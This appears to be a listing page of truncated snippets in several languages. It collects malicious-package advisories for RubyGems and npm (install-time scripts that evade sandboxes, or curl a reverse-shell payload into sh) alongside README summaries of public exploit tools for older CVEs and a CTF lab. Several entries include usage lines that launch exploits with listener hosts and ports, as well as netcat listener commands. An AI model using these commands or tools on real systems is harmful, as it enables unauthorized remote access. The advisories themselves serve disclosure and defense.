Malicious code in eth-address-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17597 Malicious code in eth-address-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in request-guard (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17569 Malicious code in request-guard (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

hfs-cve-2014-6287-exploit

HFS CVE-2014-6287 エクスプロイトツール 概要 このリポジトリには、HTTP File Server HFS バージョン 2.3.x の CVE-2014-6287 脆弱性を悪用するために設計されたPythonベースのエクスプロイトツールが含まれています。この脆弱性により、攻撃者はサーバー上で任意のコマンドを実行でき、不正アクセスや制御を引き起こす可能性があります。 ⚠️ 免責事項: このツールは教育目的および許可されたペネトレーションテストのみ...

zoneminder-1.29-1.30-rce-exploit

ZoneMinder 1.29/1.30 SQLi 到 RCE 漏洞利用 一个可直接运行的 Python 漏洞利用工具，针对 ZoneMinder 1.29/1.30，将未认证的 SQL 注入（CVE-2016-10204 ，EDB-41239）一路串联到交互式反向 shell。 这是一个针对已知且已修补的 CVE 的武器化/自动化 PoC，并非新的漏洞利用。 该漏洞的 EDB PoC 止步于 SQLi 载荷，或者只是“把 sqlmap 指向它”。本漏洞利用工具将完整的 SQLi 到 webshell 再到 shell 链条打包成一个可读的脚本。 功能说明 1...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc CVE-2019-12840 のスタンドアロン PoC。 以下は、ポート443でリバースシェルを送り返します。 $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | | || || | | | | | \ / / | |/ /|...

CVE-2024-24590

ClearML 漏洞利用 该仓库包含 ClearML 中反序列化漏洞的概念验证利用代码，可实现远程命令执行。此利用演示了如何将恶意 pickle 工件上传到 ClearML 以获得反向 shell。 先决条件 在开始之前，请确保您满足以下要求： 一台运行 ClearML 的机器。 Python 3.8 或更高版本。 已安装 clearml 库。您可以使用 pip 安装： pip install clearml clearml-init 按照屏幕提示操作，并在提示时粘贴您的配置设置。 使用以下命令启动监听器： nc -lvnp 服务器处理有效载荷可能需要一分钟左右，请耐心等待。...

React2Shell-CTF

🛡️ React2Shell CTF 🚀 React2Shell-CTF へようこそ。これは React2Shell CVE-2025-55182 の悪用を練習するために設計されたDocker化環境です。 React2Shell は、Reactベースのアプリケーションに影響を与える重大な脆弱性です。このリポジトリは、この欠陥を理解し緩和するための、安全でローカルにデプロイ可能なCapture The Flag CTF チャレンジを提供します。リバースシェルを取得できますか？ 🐚 ℹ️ 脆弱性情報 CVE-2025-55182 の完全な技術的説明については、公式情報ウェブサイトをご覧ください：...

Malicious code in internallib_v923 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d02d4c28dbcb2db331a6da7dba2476e3b7daf4f4d53d51d76d79ad4732d28a4 index.js exports a command function that shells out via /bin/bash -c to curl a payload from reverse-shell.sh and pipe it to sh, yielding a reverse...

MAL-2026-17562 Malicious code in internallib_v923 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d02d4c28dbcb2db331a6da7dba2476e3b7daf4f4d53d51d76d79ad4732d28a4 index.js exports a command function that shells out via /bin/bash -c to curl a payload from reverse-shell.sh and pipe it to sh, yielding a reverse...

super-trouper

Super Trouper 一个用于 Frida 逆向工程工具包的 MCP 服务器。 Super Trouper 通过 STDIO 运行一个 MCP 服务器，将 Frida 的能力作为工具暴露给编码代理。它可以连接到本地、USB 和远程设备；检查应用程序和进程；管理进程会话；以及加载、求值和与 JavaScript 插桩脚本交换消息。它还可以搜索 Frida CodeShare 以发现社区脚本，并获取它们以配合脚本工具使用。设备连接、会话和脚本通过工具本身进行管理，并通过不透明句柄进行引用。 特性 单一 Go 二进制文件 — 主机上无需 Python、Node 或 Frida CLI 工...

CVE-2019-9978

CVE-2019-9978 – 概念验证 PoC CVE-2019-9978 漏洞的功能性 PoC，影响插件 Social Warfare = 3.5.2，允许在 WordPress 上执行远程代码执行 RCE 。 📌 描述 此漏洞利用利用参数 swpdebug=loadoptions 强制加载 远程有效载荷，允许在目标服务器上执行命令 并获取 反向 shell 。 ⚠️ 仅限教育目的和授权环境使用 。 🧰 要求 Python 3 存在漏洞的 WordPress，使用 Social Warfare = 3.5.2 活跃的监听器（例如 nc） php-reverse-shell.php...

CVE-2020-17530-s2-061

CVE-2020-17530-s2-061 s2-061のGUI用exp、楽しみと練習のためだけです 使用 python CVE-2020-17530.py ターゲットアドレスを入力 実行したいシステムコマンドを入力 実行をクリック PS: expにはリバースシェル関数が組み込まれていますが、GUIにボタンや設定項目を追加するのが面倒だったので、これくらいにしておきます...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 および 19606 Strapi CMS バージョン 3.0.0-beta.17.7 以前における Blind Remote Code Execution でリバースシェルを取得 はじめに プログラムの実行 python3 を使用 python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 ヘルプ ヘルププロンプト python3 strapiexp.py -h 免責事項...

Elastix-2.2.0-CVE-2012-4869

Elastix 2.2.0 本地文件包含漏洞利用 - CVE-2012-4869 描述 该脚本利用了 Elastix 2.2.0 中的本地文件包含（LFI）漏洞，通过 callmepage.php 端点注入命令，实现远程代码执行（RCE）。该漏洞利用基于 CVE-2012-4869 。 功能 绕过 TLS 证书验证。 使用 Perl 反向 Shell 载荷。 支持 自定义 LHOST 和 LPORT 用于反向 Shell。 抑制 HTTPS 安全警告。 依赖 Python 3 requests 模块 使用以下命令安装依赖： pip install requests 用法 python...

tap

The TrustedSec Attack Platform TAP TAP - 远程渗透测试平台构建器。 作者：David Kennedy @HackingDave 公司：TrustedSec https://www.trustedsec.com 项目页面：https://github.com/trustedsec/tap TrustedSec 项目 - 版权所有 2020 支持的操作系统：Linux（首选 Ubuntu Linux） 什么是 TAP？ TAP 是一个远程渗透测试平台构建器。对于安全行业的人来说，出差常常成为一种负担，并给客户增加大量成本。TAP...

CVE-2019-18818_CVE-2019-19609

CVE-2019-18818 和 CVE-2019-19609 利用脚本 本仓库包含一个 Python 脚本，用于利用两个漏洞：CVE-2019-18818 和 CVE-2019-19609。 CVE-2019-18818 该漏洞允许攻击者重置 Strapi CMS 中管理员用户的密码。 使用方法 1. 修改脚本中的 target 和 strapiport 变量，使其匹配目标 Strapi 实例。 2. 运行脚本以重置管理员密码。 CVE-2019-19609 该漏洞允许攻击者在运行 Strapi CMS 的服务器上执行任意命令。 使用方法 1. 修改脚本中的 localip 和...

CVE-2017-11610

CVE-2017-11610 Supervisor 3.0a1 - 3.3.2 未认证反向Shell RCE 独立的 Python ≥3.6 未认证 RCE 利用，针对 Supervisor 3.0a1 至 3.3.2，从 Metasploit 模块 重写而来。解释性 文章在此。 在 此目标 上使用 Python 3.7 测试，运行 Supervisor 3.3.2 使用方法： root@Kali:/Infosec/RubyStuff/Supervisor-3.3.2 ./exploit.py -h usage: exploit.py -h -rhost RHOST -rport RPO...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ 在 Webmin =1.920 中发现了一个问题。passwordchange.cgi 中的参数 "old" 和 "expire" 包含一个命令注入漏洞。 使用方法 1. 在红方主机上启动一个监听器。 rlwrap -cAr nc -lvp 1919 2. 运行漏洞利用程序 ./exploit.sh 3. 程序将提示输入以下参数： 目标主机的 IP 地址 运行 webmin 的目标端口（通常为 10000） 本地监听端口 运行监听器的本地接口（eth0、tun0 等...